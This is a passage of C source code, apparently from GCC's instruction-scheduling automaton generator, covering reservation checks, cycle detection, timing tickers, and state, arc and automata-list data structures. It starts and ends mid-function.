(decl->mode == dm_insn_reserv) DECL_INSN_RESERV (decl)->regexp = process_regexp (DECL_INSN_RESERV (decl)->regexp); } } /* The following function checks that declared unit is used. If the unit is not used, the function fixes errors/warnings. The following function must be called only after `process_decls', `process_regexp_decls'. */ static void check_usage (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit && !DECL_UNIT (decl)->unit_is_used) { if (!w_flag) error ("unit `%s' is not used", DECL_UNIT (decl)->name); else warning (0, "unit `%s' is not used", DECL_UNIT (decl)->name); } else if (decl->mode == dm_reserv && !DECL_RESERV (decl)->reserv_is_used) { if (!w_flag) error ("reservation `%s' is not used", DECL_RESERV (decl)->name); else warning (0, "reservation `%s' is not used", DECL_RESERV (decl)->name); } } } /* The following variable value is number of reservation being processed on loop recognition. */ static int curr_loop_pass_num; /* The following recursive function returns nonzero value if REGEXP contains given decl or reservations in given regexp refers for given decl. */ static int loop_in_regexp (regexp_t regexp, decl_t start_decl) { int i; if (regexp == NULL) return 0; switch (regexp->mode) { case rm_unit: return 0; case rm_reserv: if (start_decl->mode == dm_reserv && REGEXP_RESERV (regexp)->reserv_decl == DECL_RESERV (start_decl)) return 1; else if (REGEXP_RESERV (regexp)->reserv_decl->loop_pass_num == curr_loop_pass_num) /* declaration has been processed. */ return 0; else { REGEXP_RESERV (regexp)->reserv_decl->loop_pass_num = curr_loop_pass_num; return loop_in_regexp (REGEXP_RESERV (regexp)->reserv_decl->regexp, start_decl); } case rm_sequence: for (i = 0; i <REGEXP_SEQUENCE (regexp)->regexps_num; i++) if (loop_in_regexp (REGEXP_SEQUENCE (regexp)->regexps [i], start_decl)) return 1; return 0; case rm_allof: for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) if (loop_in_regexp (REGEXP_ALLOF (regexp)->regexps [i], start_decl)) return 1; return 0; case rm_oneof: for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) if (loop_in_regexp (REGEXP_ONEOF (regexp)->regexps [i], start_decl)) return 1; return 0; case rm_repeat: return loop_in_regexp (REGEXP_REPEAT (regexp)->regexp, start_decl); case rm_nothing: return 0; default: gcc_unreachable (); } } /* The following function fixes errors "cycle in definition ...". The function uses function `loop_in_regexp' for that. */ static void check_loops_in_regexps (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_reserv) DECL_RESERV (decl)->loop_pass_num = 0; } for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; curr_loop_pass_num = i; if (decl->mode == dm_reserv) { DECL_RESERV (decl)->loop_pass_num = curr_loop_pass_num; if (loop_in_regexp (DECL_RESERV (decl)->regexp, decl)) { gcc_assert (DECL_RESERV (decl)->regexp); error ("cycle in definition of reservation `%s'", DECL_RESERV (decl)->name); } } } } /* The function recursively processes IR of reservation and defines max and min cycle for reservation of unit. */ static void process_regexp_cycles (regexp_t regexp, int max_start_cycle, int min_start_cycle, int *max_finish_cycle, int *min_finish_cycle) { int i; switch (regexp->mode) { case rm_unit: if (REGEXP_UNIT (regexp)->unit_decl->max_occ_cycle_num < max_start_cycle) REGEXP_UNIT (regexp)->unit_decl->max_occ_cycle_num = max_start_cycle; if (REGEXP_UNIT (regexp)->unit_decl->min_occ_cycle_num > min_start_cycle || REGEXP_UNIT (regexp)->unit_decl->min_occ_cycle_num == -1) REGEXP_UNIT (regexp)->unit_decl->min_occ_cycle_num = min_start_cycle; *max_finish_cycle = max_start_cycle; *min_finish_cycle = min_start_cycle; break; case rm_reserv: process_regexp_cycles (REGEXP_RESERV (regexp)->reserv_decl->regexp, max_start_cycle, min_start_cycle, max_finish_cycle, min_finish_cycle); break; case rm_repeat: for (i = 0; i < REGEXP_REPEAT (regexp)->repeat_num; i++) { process_regexp_cycles (REGEXP_REPEAT (regexp)->regexp, max_start_cycle, min_start_cycle, max_finish_cycle, min_finish_cycle); max_start_cycle = *max_finish_cycle + 1; min_start_cycle = *min_finish_cycle + 1; } break; case rm_sequence: for (i = 0; i <REGEXP_SEQUENCE (regexp)->regexps_num; i++) { process_regexp_cycles (REGEXP_SEQUENCE (regexp)->regexps [i], max_start_cycle, min_start_cycle, max_finish_cycle, min_finish_cycle); max_start_cycle = *max_finish_cycle + 1; min_start_cycle = *min_finish_cycle + 1; } break; case rm_allof: { int max_cycle = 0; int min_cycle = 0; for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) { process_regexp_cycles (REGEXP_ALLOF (regexp)->regexps [i], max_start_cycle, min_start_cycle, max_finish_cycle, min_finish_cycle); if (max_cycle < *max_finish_cycle) max_cycle = *max_finish_cycle; if (i == 0 || min_cycle > *min_finish_cycle) min_cycle = *min_finish_cycle; } *max_finish_cycle = max_cycle; *min_finish_cycle = min_cycle; } break; case rm_oneof: { int max_cycle = 0; int min_cycle = 0; for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) { process_regexp_cycles (REGEXP_ONEOF (regexp)->regexps [i], max_start_cycle, min_start_cycle, max_finish_cycle, min_finish_cycle); if (max_cycle < *max_finish_cycle) max_cycle = *max_finish_cycle; if (i == 0 || min_cycle > *min_finish_cycle) min_cycle = *min_finish_cycle; } *max_finish_cycle = max_cycle; *min_finish_cycle = min_cycle; } break; case rm_nothing: *max_finish_cycle = max_start_cycle; *min_finish_cycle = min_start_cycle; break; default: gcc_unreachable (); } } /* The following function is called only for correct program. The function defines max reservation of insns in cycles. */ static void evaluate_max_reserv_cycles (void) { int max_insn_cycles_num; int min_insn_cycles_num; decl_t decl; int i; description->max_insn_reserv_cycles = 0; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) { process_regexp_cycles (DECL_INSN_RESERV (decl)->regexp, 0, 0, &max_insn_cycles_num, &min_insn_cycles_num); if (description->max_insn_reserv_cycles < max_insn_cycles_num) description->max_insn_reserv_cycles = max_insn_cycles_num; } } description->max_insn_reserv_cycles++; } /* The following function calls functions for checking all description. */ static void check_all_description (void) { process_decls (); check_automaton_usage (); process_regexp_decls (); check_usage (); check_loops_in_regexps (); if (!have_error) evaluate_max_reserv_cycles (); } /* The page contains abstract data `ticker'. This data is used to report time of different phases of building automata. It is possibly to write a description for which automata will be built during several minutes even on fast machine. */ /* The following function creates ticker and makes it active. */ static ticker_t create_ticker (void) { ticker_t ticker; ticker.modified_creation_time = get_run_time (); ticker.incremented_off_time = 0; return ticker; } /* The following function switches off given ticker. */ static void ticker_off (ticker_t *ticker) { if (ticker->incremented_off_time == 0) ticker->incremented_off_time = get_run_time () + 1; } /* The following function switches on given ticker. */ static void ticker_on (ticker_t *ticker) { if (ticker->incremented_off_time != 0) { ticker->modified_creation_time += get_run_time () - ticker->incremented_off_time + 1; ticker->incremented_off_time = 0; } } /* The following function returns current time in milliseconds since the moment when given ticker was created. */ static int active_time (ticker_t ticker) { if (ticker.incremented_off_time != 0) return ticker.incremented_off_time - 1 - ticker.modified_creation_time; else return get_run_time () - ticker.modified_creation_time; } /* The following function returns string representation of active time of given ticker. The result is string representation of seconds with accuracy of 1/100 second. Only result of the last call of the function exists. Therefore the following code is not correct printf ("parser time: %s\ngeneration time: %s\n", active_time_string (parser_ticker), active_time_string (generation_ticker)); Correct code has to be the following printf ("parser time: %s\n", active_time_string (parser_ticker)); printf ("generation time: %s\n", active_time_string (generation_ticker)); */ static void print_active_time (FILE *f, ticker_t ticker) { int msecs; msecs = active_time (ticker); fprintf (f, "%d.%06d", msecs / 1000000, msecs % 1000000); } /* The following variable value is number of automaton which are really being created. This value is defined on the base of argument of option `-split'. If the variable has zero value the number of automata is defined by the constructions `%automaton'. This case occurs when option `-split' is absent or has zero argument. If constructions `define_automaton' is absent only one automaton is created. */ static int automata_num; /* The following variable values are times of o transformation of regular expressions o building NDFA (DFA if !ndfa_flag) o NDFA -> DFA (simply the same automaton if !ndfa_flag) o DFA minimization o building insn equivalence classes o all previous ones o code output */ static ticker_t transform_time; static ticker_t NDFA_time; static ticker_t NDFA_to_DFA_time; static ticker_t minimize_time; static ticker_t equiv_time; static ticker_t automaton_generation_time; static ticker_t output_time; /* The following variable values are times of all checking all generation all pipeline hazard translator work */ static ticker_t check_time; static ticker_t generation_time; static ticker_t all_time; /* Pseudo insn decl which denotes advancing cycle. */ static decl_t advance_cycle_insn_decl; static void add_advance_cycle_insn_decl (void) { advance_cycle_insn_decl = XCREATENODE (struct decl); advance_cycle_insn_decl->mode = dm_insn_reserv; advance_cycle_insn_decl->pos = no_pos; DECL_INSN_RESERV (advance_cycle_insn_decl)->regexp = NULL; DECL_INSN_RESERV (advance_cycle_insn_decl)->name = "$advance_cycle"; DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num = description->insns_num; description->decls [description->decls_num] = advance_cycle_insn_decl; description->decls_num++; description->insns_num++; } /* Abstract data `alternative states' which represents nondeterministic nature of the description (see comments for structures alt_state and state). */ /* List of free states. */ static alt_state_t first_free_alt_state; #ifndef NDEBUG /* The following variables is maximal number of allocated nodes alt_state. */ static int allocated_alt_states_num = 0; #endif /* The following function returns free node alt_state. It may be new allocated node or node freed earlier. */ static alt_state_t get_free_alt_state (void) { alt_state_t result; if (first_free_alt_state != NULL) { result = first_free_alt_state; first_free_alt_state = first_free_alt_state->next_alt_state; } else { #ifndef NDEBUG allocated_alt_states_num++; #endif result = XCREATENODE (struct alt_state); } result->state = NULL; result->next_alt_state = NULL; result->next_sorted_alt_state = NULL; return result; } /* The function frees node ALT_STATE. */ static void free_alt_state (alt_state_t alt_state) { if (alt_state == NULL) return; alt_state->next_alt_state = first_free_alt_state; first_free_alt_state = alt_state; } /* The function frees list started with node ALT_STATE_LIST. */ static void free_alt_states (alt_state_t alt_states_list) { alt_state_t curr_alt_state; alt_state_t next_alt_state; for (curr_alt_state = alt_states_list; curr_alt_state != NULL; curr_alt_state = next_alt_state) { next_alt_state = curr_alt_state->next_alt_state; free_alt_state (curr_alt_state); } } /* The function compares unique numbers of alt states. */ static int alt_state_cmp (const void *alt_state_ptr_1, const void *alt_state_ptr_2) { if ((*(const alt_state_t *) alt_state_ptr_1)->state->unique_num == (*(const alt_state_t *) alt_state_ptr_2)->state->unique_num) return 0; else if ((*(const alt_state_t *) alt_state_ptr_1)->state->unique_num < (*(const alt_state_t *) alt_state_ptr_2)->state->unique_num) return -1; else return 1; } /* The function sorts ALT_STATES_LIST and removes duplicated alt states from the list. The comparison key is alt state unique number. */ static alt_state_t uniq_sort_alt_states (alt_state_t alt_states_list) { alt_state_t curr_alt_state; VEC(alt_state_t,heap) *alt_states; size_t i; size_t prev_unique_state_ind; alt_state_t result; if (alt_states_list == 0) return 0; if (alt_states_list->next_alt_state == 0) return alt_states_list; alt_states = VEC_alloc (alt_state_t,heap, 150); for (curr_alt_state = alt_states_list; curr_alt_state != NULL; curr_alt_state = curr_alt_state->next_alt_state) VEC_safe_push (alt_state_t,heap, alt_states, curr_alt_state); qsort (VEC_address (alt_state_t, alt_states), VEC_length (alt_state_t, alt_states), sizeof (alt_state_t), alt_state_cmp); prev_unique_state_ind = 0; for (i = 1; i < VEC_length (alt_state_t, alt_states); i++) if (VEC_index (alt_state_t, alt_states, prev_unique_state_ind)->state != VEC_index (alt_state_t, alt_states, i)->state) { prev_unique_state_ind++; VEC_replace (alt_state_t, alt_states, prev_unique_state_ind, VEC_index (alt_state_t, alt_states, i)); } VEC_truncate (alt_state_t, alt_states, prev_unique_state_ind + 1); for (i = 1; i < VEC_length (alt_state_t, alt_states); i++) VEC_index (alt_state_t, alt_states, i-1)->next_sorted_alt_state = VEC_index (alt_state_t, alt_states, i); VEC_last (alt_state_t, alt_states)->next_sorted_alt_state = 0; result = VEC_index (alt_state_t, alt_states, 0); VEC_free (alt_state_t,heap, alt_states); return result; } /* The function checks equality of alt state lists. Remember that the lists must be already sorted by the previous function. */ static int alt_states_eq (alt_state_t alt_states_1, alt_state_t alt_states_2) { while (alt_states_1 != NULL && alt_states_2 != NULL && alt_state_cmp (&alt_states_1, &alt_states_2) == 0) { alt_states_1 = alt_states_1->next_sorted_alt_state; alt_states_2 = alt_states_2->next_sorted_alt_state; } return alt_states_1 == alt_states_2; } /* Initialization of the abstract data. */ static void initiate_alt_states (void) { first_free_alt_state = NULL; } /* Finishing work with the abstract data. */ static void finish_alt_states (void) { } /* The page contains macros for work with bits strings. We could use standard gcc bitmap or sbitmap but it would result in difficulties of building canadian cross. */ /* Set bit number bitno in the bit string. The macro is not side effect proof. */ #define SET_BIT(bitstring, bitno) \ (((char *) (bitstring)) [(bitno) / CHAR_BIT] |= 1 << (bitno) % CHAR_BIT) #define CLEAR_BIT(bitstring, bitno) \ (((char *) (bitstring)) [(bitno) / CHAR_BIT] &= ~(1 << (bitno) % CHAR_BIT)) /* Test if bit number bitno in the bitstring is set. The macro is not side effect proof. */ #define TEST_BIT(bitstring, bitno) \ (((char *) (bitstring)) [(bitno) / CHAR_BIT] >> (bitno) % CHAR_BIT & 1) /* This page contains abstract data `state'. */ /* Maximal length of reservations in cycles (>= 1). */ static int max_cycles_num; /* Number of set elements (see type set_el_t) needed for representation of one cycle reservation. It is depended on units number. */ static int els_in_cycle_reserv; /* Number of set elements (see type set_el_t) needed for representation of maximal length reservation. Deterministic reservation is stored as set (bit string) of length equal to the variable value * number of bits in set_el_t. */ static int els_in_reservs; /* Array of pointers to unit declarations. */ static unit_decl_t *units_array; /* Temporary reservation of maximal length. */ static reserv_sets_t temp_reserv; /* The state table itself is represented by the following variable. */ static htab_t state_table; /* Linked list of free 'state' structures to be recycled. The next_equiv_class_state pointer is borrowed for a free list. */ static state_t first_free_state; static int curr_unique_state_num; #ifndef NDEBUG /* The following variables is maximal number of allocated nodes `state'. */ static int allocated_states_num = 0; #endif /* Allocate new reservation set. */ static reserv_sets_t alloc_empty_reserv_sets (void) { reserv_sets_t result; obstack_blank (&irp, els_in_reservs * sizeof (set_el_t)); result = (reserv_sets_t) obstack_base (&irp); obstack_finish (&irp); memset (result, 0, els_in_reservs * sizeof (set_el_t)); return result; } /* Hash value of reservation set. */ static unsigned reserv_sets_hash_value (reserv_sets_t reservs) { set_el_t hash_value; unsigned result; int reservs_num, i; set_el_t *reserv_ptr; hash_value = 0; reservs_num = els_in_reservs; reserv_ptr = reservs; i = 0; while (reservs_num != 0) { reservs_num--; hash_value += ((*reserv_ptr >> i) | (*reserv_ptr << (sizeof (set_el_t) * CHAR_BIT - i))); i++; if (i == sizeof (set_el_t) * CHAR_BIT) i = 0; reserv_ptr++; } if (sizeof (set_el_t) <= sizeof (unsigned)) return hash_value; result = 0; for (i = sizeof (set_el_t); i > 0; i -= sizeof (unsigned) - 1) { result += (unsigned) hash_value; hash_value >>= (sizeof (unsigned) - 1) * CHAR_BIT; } return result; } /* Comparison of given reservation sets. */ static int reserv_sets_cmp (const_reserv_sets_t reservs_1, const_reserv_sets_t reservs_2) { int reservs_num; const set_el_t *reserv_ptr_1; const set_el_t *reserv_ptr_2; gcc_assert (reservs_1 && reservs_2); reservs_num = els_in_reservs; reserv_ptr_1 = reservs_1; reserv_ptr_2 = reservs_2; while (reservs_num != 0 && *reserv_ptr_1 == *reserv_ptr_2) { reservs_num--; reserv_ptr_1++; reserv_ptr_2++; } if (reservs_num == 0) return 0; else if (*reserv_ptr_1 < *reserv_ptr_2) return -1; else return 1; } /* The function checks equality of the reservation sets. */ static int reserv_sets_eq (const_reserv_sets_t reservs_1, const_reserv_sets_t reservs_2) { return reserv_sets_cmp (reservs_1, reservs_2) == 0; } /* Set up in the reservation set that unit with UNIT_NUM is used on CYCLE_NUM. */ static void set_unit_reserv (reserv_sets_t reservs, int cycle_num, int unit_num) { gcc_assert (cycle_num < max_cycles_num); SET_BIT (reservs, cycle_num * els_in_cycle_reserv * sizeof (set_el_t) * CHAR_BIT + unit_num); } /* Set up in the reservation set RESERVS that unit with UNIT_NUM is used on CYCLE_NUM. */ static int test_unit_reserv (reserv_sets_t reservs, int cycle_num, int unit_num) { gcc_assert (cycle_num < max_cycles_num); return TEST_BIT (reservs, cycle_num * els_in_cycle_reserv * sizeof (set_el_t) * CHAR_BIT + unit_num); } /* The function checks that the reservation sets are intersected, i.e. there is a unit reservation on a cycle in both reservation sets. */ static int reserv_sets_are_intersected (reserv_sets_t operand_1, reserv_sets_t operand_2) { set_el_t *el_ptr_1; set_el_t *el_ptr_2; set_el_t *cycle_ptr_1; set_el_t *cycle_ptr_2; gcc_assert (operand_1 && operand_2); for (el_ptr_1 = operand_1, el_ptr_2 = operand_2; el_ptr_1 < operand_1 + els_in_reservs; el_ptr_1++, el_ptr_2++) if (*el_ptr_1 & *el_ptr_2) return 1; reserv_sets_or (temp_reserv, operand_1, operand_2); for (cycle_ptr_1 = operand_1, cycle_ptr_2 = operand_2; cycle_ptr_1 < operand_1 + els_in_reservs; cycle_ptr_1 += els_in_cycle_reserv, cycle_ptr_2 += els_in_cycle_reserv) { for (el_ptr_1 = cycle_ptr_1, el_ptr_2 = get_excl_set (cycle_ptr_2); el_ptr_1 < cycle_ptr_1 + els_in_cycle_reserv; el_ptr_1++, el_ptr_2++) if (*el_ptr_1 & *el_ptr_2) return 1; if (!check_presence_pattern_sets (cycle_ptr_1, cycle_ptr_2, FALSE)) return 1; if (!check_presence_pattern_sets (temp_reserv + (cycle_ptr_2 - operand_2), cycle_ptr_2, TRUE)) return 1; if (!check_absence_pattern_sets (cycle_ptr_1, cycle_ptr_2, FALSE)) return 1; if (!check_absence_pattern_sets (temp_reserv + (cycle_ptr_2 - operand_2), cycle_ptr_2, TRUE)) return 1; } return 0; } /* The function sets up RESULT bits by bits of OPERAND shifted on one cpu cycle. The remaining bits of OPERAND (representing the last cycle unit reservations) are not changed. */ static void reserv_sets_shift (reserv_sets_t result, reserv_sets_t operand) { int i; gcc_assert (result && operand && result != operand); for (i = els_in_cycle_reserv; i < els_in_reservs; i++) result [i - els_in_cycle_reserv] = operand [i]; } /* OR of the reservation sets. */ static void reserv_sets_or (reserv_sets_t result, reserv_sets_t operand_1, reserv_sets_t operand_2) { set_el_t *el_ptr_1; set_el_t *el_ptr_2; set_el_t *result_set_el_ptr; gcc_assert (result && operand_1 && operand_2); for (el_ptr_1 = operand_1, el_ptr_2 = operand_2, result_set_el_ptr = result; el_ptr_1 < operand_1 + els_in_reservs; el_ptr_1++, el_ptr_2++, result_set_el_ptr++) *result_set_el_ptr = *el_ptr_1 | *el_ptr_2; } /* AND of the reservation sets. */ static void reserv_sets_and (reserv_sets_t result, reserv_sets_t operand_1, reserv_sets_t operand_2) { set_el_t *el_ptr_1; set_el_t *el_ptr_2; set_el_t *result_set_el_ptr; gcc_assert (result && operand_1 && operand_2); for (el_ptr_1 = operand_1, el_ptr_2 = operand_2, result_set_el_ptr = result; el_ptr_1 < operand_1 + els_in_reservs; el_ptr_1++, el_ptr_2++, result_set_el_ptr++) *result_set_el_ptr = *el_ptr_1 & *el_ptr_2; } /* The function outputs string representation of units reservation on cycle START_CYCLE in the reservation set. The function uses repeat construction if REPETITION_NUM > 1. */ static void output_cycle_reservs (FILE *f, reserv_sets_t reservs, int start_cycle, int repetition_num) { int unit_num; int reserved_units_num; reserved_units_num = 0; for (unit_num = 0; unit_num < description->units_num; unit_num++) if (TEST_BIT (reservs, start_cycle * els_in_cycle_reserv * sizeof (set_el_t) * CHAR_BIT + unit_num)) reserved_units_num++; gcc_assert (repetition_num > 0); if (repetition_num != 1 && reserved_units_num > 1) fprintf (f, "("); reserved_units_num = 0; for (unit_num = 0; unit_num < description->units_num; unit_num++) if (TEST_BIT (reservs, start_cycle * els_in_cycle_reserv * sizeof (set_el_t) * CHAR_BIT + unit_num)) { if (reserved_units_num != 0) fprintf (f, "+"); reserved_units_num++; fprintf (f, "%s", units_array [unit_num]->name); } if (reserved_units_num == 0) fprintf (f, NOTHING_NAME); gcc_assert (repetition_num > 0); if (repetition_num != 1 && reserved_units_num > 1) fprintf (f, ")"); if (repetition_num != 1) fprintf (f, "*%d", repetition_num); } /* The function outputs string representation of units reservation in the reservation set. */ static void output_reserv_sets (FILE *f, reserv_sets_t reservs) { int start_cycle = 0; int cycle; int repetition_num; repetition_num = 0; for (cycle = 0; cycle < max_cycles_num; cycle++) if (repetition_num == 0) { repetition_num++; start_cycle = cycle; } else if (memcmp ((char *) reservs + start_cycle * els_in_cycle_reserv * sizeof (set_el_t), (char *) reservs + cycle * els_in_cycle_reserv * sizeof (set_el_t), els_in_cycle_reserv * sizeof (set_el_t)) == 0) repetition_num++; else { if (start_cycle != 0) fprintf (f, ", "); output_cycle_reservs (f, reservs, start_cycle, repetition_num); repetition_num = 1; start_cycle = cycle; } if (start_cycle < max_cycles_num) { if (start_cycle != 0) fprintf (f, ", "); output_cycle_reservs (f, reservs, start_cycle, repetition_num); } } /* The following function returns free node state for AUTOMATON. It may be new allocated node or node freed earlier. The function also allocates reservation set if WITH_RESERVS has nonzero value. */ static state_t get_free_state (int with_reservs, automaton_t automaton) { state_t result; gcc_assert (max_cycles_num > 0 && automaton); if (first_free_state) { result = first_free_state; first_free_state = result->next_equiv_class_state; result->next_equiv_class_state = NULL; result->automaton = automaton; result->first_out_arc = NULL; result->it_was_placed_in_stack_for_NDFA_forming = 0; result->it_was_placed_in_stack_for_DFA_forming = 0; result->component_states = NULL; } else { #ifndef NDEBUG allocated_states_num++; #endif result = XCREATENODE (struct state); result->automaton = automaton; result->first_out_arc = NULL; result->unique_num = curr_unique_state_num; curr_unique_state_num++; } if (with_reservs) { if (result->reservs == NULL) result->reservs = alloc_empty_reserv_sets (); else memset (result->reservs, 0, els_in_reservs * sizeof (set_el_t)); } return result; } /* The function frees node STATE. */ static void free_state (state_t state) { free_alt_states (state->component_states); state->next_equiv_class_state = first_free_state; first_free_state = state; } /* Hash value of STATE. If STATE represents deterministic state it is simply hash value of the corresponding reservation set. Otherwise it is formed from hash values of the component deterministic states. One more key is order number of state automaton. */ static hashval_t state_hash (const void *state) { unsigned int hash_value; alt_state_t alt_state; if (((const_state_t) state)->component_states == NULL) hash_value = reserv_sets_hash_value (((const_state_t) state)->reservs); else { hash_value = 0; for (alt_state = ((const_state_t) state)->component_states; alt_state != NULL; alt_state = alt_state->next_sorted_alt_state) hash_value = (((hash_value >> (sizeof (unsigned) - 1) * CHAR_BIT) | (hash_value << CHAR_BIT)) + alt_state->state->unique_num); } hash_value = (((hash_value >> (sizeof (unsigned) - 1) * CHAR_BIT) | (hash_value << CHAR_BIT)) + ((const_state_t) state)->automaton->automaton_order_num); return hash_value; } /* Return nonzero value if the states are the same. */ static int state_eq_p (const void *state_1, const void *state_2) { alt_state_t alt_state_1; alt_state_t alt_state_2; if (((const_state_t) state_1)->automaton != ((const_state_t) state_2)->automaton) return 0; else if (((const_state_t) state_1)->component_states == NULL && ((const_state_t) state_2)->component_states == NULL) return reserv_sets_eq (((const_state_t) state_1)->reservs, ((const_state_t) state_2)->reservs); else if (((const_state_t) state_1)->component_states != NULL && ((const_state_t) state_2)->component_states != NULL) { for (alt_state_1 = ((const_state_t) state_1)->component_states, alt_state_2 = ((const_state_t) state_2)->component_states; alt_state_1 != NULL && alt_state_2 != NULL; alt_state_1 = alt_state_1->next_sorted_alt_state, alt_state_2 = alt_state_2->next_sorted_alt_state) /* All state in the list must be already in the hash table. Also the lists must be sorted. */ if (alt_state_1->state != alt_state_2->state) return 0; return alt_state_1 == alt_state_2; } else return 0; } /* Insert STATE into the state table. */ static state_t insert_state (state_t state) { void **entry_ptr; entry_ptr = htab_find_slot (state_table, (void *) state, 1); if (*entry_ptr == NULL) *entry_ptr = (void *) state; return (state_t) *entry_ptr; } /* Add reservation of unit with UNIT_NUM on cycle CYCLE_NUM to deterministic STATE. */ static void set_state_reserv (state_t state, int cycle_num, int unit_num) { set_unit_reserv (state->reservs, cycle_num, unit_num); } /* Return nonzero value if the deterministic states contains a reservation of the same cpu unit on the same cpu cycle. */ static int intersected_state_reservs_p (state_t state1, state_t state2) { gcc_assert (state1->automaton == state2->automaton); return reserv_sets_are_intersected (state1->reservs, state2->reservs); } /* Return deterministic state (inserted into the table) which representing the automaton state which is union of reservations of the deterministic states masked by RESERVS. */ static state_t states_union (state_t state1, state_t state2, reserv_sets_t reservs) { state_t result; state_t state_in_table; gcc_assert (state1->automaton == state2->automaton); result = get_free_state (1, state1->automaton); reserv_sets_or (result->reservs, state1->reservs, state2->reservs); reserv_sets_and (result->reservs, result->reservs, reservs); state_in_table = insert_state (result); if (result != state_in_table) { free_state (result); result = state_in_table; } return result; } /* Return deterministic state (inserted into the table) which represent the automaton state is obtained from deterministic STATE by advancing cpu cycle and masking by RESERVS. */ static state_t state_shift (state_t state, reserv_sets_t reservs) { state_t result; state_t state_in_table; result = get_free_state (1, state->automaton); reserv_sets_shift (result->reservs, state->reservs); reserv_sets_and (result->reservs, result->reservs, reservs); state_in_table = insert_state (result); if (result != state_in_table) { free_state (result); result = state_in_table; } return result; } /* Initialization of the abstract data. */ static void initiate_states (void) { decl_t decl; int i; if (description->units_num) units_array = XNEWVEC (unit_decl_t, description->units_num); else units_array = 0; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) units_array [DECL_UNIT (decl)->unit_num] = DECL_UNIT (decl); } max_cycles_num = description->max_insn_reserv_cycles; els_in_cycle_reserv = ((description->units_num + sizeof (set_el_t) * CHAR_BIT - 1) / (sizeof (set_el_t) * CHAR_BIT)); els_in_reservs = els_in_cycle_reserv * max_cycles_num; curr_unique_state_num = 0; initiate_alt_states (); state_table = htab_create (1500, state_hash, state_eq_p, (htab_del) 0); temp_reserv = alloc_empty_reserv_sets (); } /* Finishing work with the abstract data. */ static void finish_states (void) { free (units_array); units_array = 0; htab_delete (state_table); first_free_state = NULL; finish_alt_states (); } /* Abstract data `arcs'. */ /* List of free arcs. */ static arc_t first_free_arc; #ifndef NDEBUG /* The following variables is maximal number of allocated nodes `arc'. */ static int allocated_arcs_num = 0; #endif /* The function frees node ARC. */ static void free_arc (arc_t arc) { arc->next_out_arc = first_free_arc; first_free_arc = arc; } /* The function removes and frees ARC staring from FROM_STATE. */ static void remove_arc (state_t from_state, arc_t arc) { arc_t prev_arc; arc_t curr_arc; gcc_assert (arc); for (prev_arc = NULL, curr_arc = from_state->first_out_arc; curr_arc != NULL; prev_arc = curr_arc, curr_arc = curr_arc->next_out_arc) if (curr_arc == arc) break; gcc_assert (curr_arc); if (prev_arc == NULL) from_state->first_out_arc = arc->next_out_arc; else prev_arc->next_out_arc = arc->next_out_arc; from_state->num_out_arcs--; free_arc (arc); } /* The functions returns arc with given characteristics (or NULL if the arc does not exist). */ static arc_t find_arc (state_t from_state, state_t to_state, ainsn_t insn) { arc_t arc; for (arc = first_out_arc (from_state); arc != NULL; arc = next_out_arc (arc)) if (arc->to_state == to_state && arc->insn == insn) return arc; return NULL; } /* The function adds arc from FROM_STATE to TO_STATE marked by AINSN. The function returns added arc (or already existing arc). */ static arc_t add_arc (state_t from_state, state_t to_state, ainsn_t ainsn) { arc_t new_arc; new_arc = find_arc (from_state, to_state, ainsn); if (new_arc != NULL) return new_arc; if (first_free_arc == NULL) { #ifndef NDEBUG allocated_arcs_num++; #endif new_arc = XCREATENODE (struct arc); new_arc->to_state = NULL; new_arc->insn = NULL; new_arc->next_out_arc = NULL; } else { new_arc = first_free_arc; first_free_arc = first_free_arc->next_out_arc; } new_arc->to_state = to_state; new_arc->insn = ainsn; ainsn->arc_exists_p = 1; new_arc->next_out_arc = from_state->first_out_arc; from_state->first_out_arc = new_arc; from_state->num_out_arcs++; new_arc->next_arc_marked_by_insn = NULL; return new_arc; } /* The function returns the first arc starting from STATE. */ static arc_t first_out_arc (const_state_t state) { return state->first_out_arc; } /* The function returns next out arc after ARC. */ static arc_t next_out_arc (arc_t arc) { return arc->next_out_arc; } /* Initialization of the abstract data. */ static void initiate_arcs (void) { first_free_arc = NULL; } /* Finishing work with the abstract data. */ static void finish_arcs (void) { } /* Abstract data `automata lists'. */ /* List of free states. */ static automata_list_el_t first_free_automata_list_el; /* The list being formed. */ static automata_list_el_t current_automata_list; /* Hash table of automata lists. */ static htab_t automata_list_table; /* The following function returns free automata list el. It may be new allocated node or node freed earlier. */ static automata_list_el_t get_free_automata_list_el (void) { automata_list_el_t result; if (first_free_automata_list_el != NULL) { result = first_free_automata_list_el; first_free_automata_list_el = first_free_automata_list_el->next_automata_list_el; } else result = XCREATENODE (struct automata_list_el); result->automaton = NULL; result->next_automata_list_el = NULL; return result; } /* The function frees node AUTOMATA_LIST_EL. */ static void free_automata_list_el (automata_list_el_t automata_list_el) { if (automata_list_el == NULL) return; automata_list_el->next_automata_list_el = first_free_automata_list_el; first_free_automata_list_el = automata_list_el; } /* The function frees list AUTOMATA_LIST. */ static void free_automata_list (automata_list_el_t automata_list) { automata_list_el_t curr_automata_list_el; automata_list_el_t next_automata_list_el; for (curr_automata_list_el = automata_list; curr_automata_list_el != NULL; curr_automata_list_el = next_automata_list_el) { next_automata_list_el = curr_automata_list_el->next_automata_list_el; free_automata_list_el (curr_automata_list_el); } } /* Hash value of AUTOMATA_LIST. */ static hashval_t automata_list_hash (const void *automata_list) { unsigned int hash_value; const_automata_list_el_t curr_automata_list_el; hash_value = 0; for (curr_automata_list_el = (const_automata_list_el_t) automata_list; curr_automata_list_el != NULL; curr_automata_list_el = curr_automata_list_el->next_automata_list_el) hash_value = (((hash_value >> (sizeof (unsigned) - 1) * CHAR_BIT) | (hash_value << CHAR_BIT)) + curr_automata_list_el->automaton->automaton_order_num); return hash_value; } /* Return nonzero value if the automata_lists are the same. */ static int automata_list_eq_p (const void *automata_list_1, const void *automata_list_2) { const_automata_list_el_t automata_list_el_1; const_automata_list_el_t automata_list_el_2; for 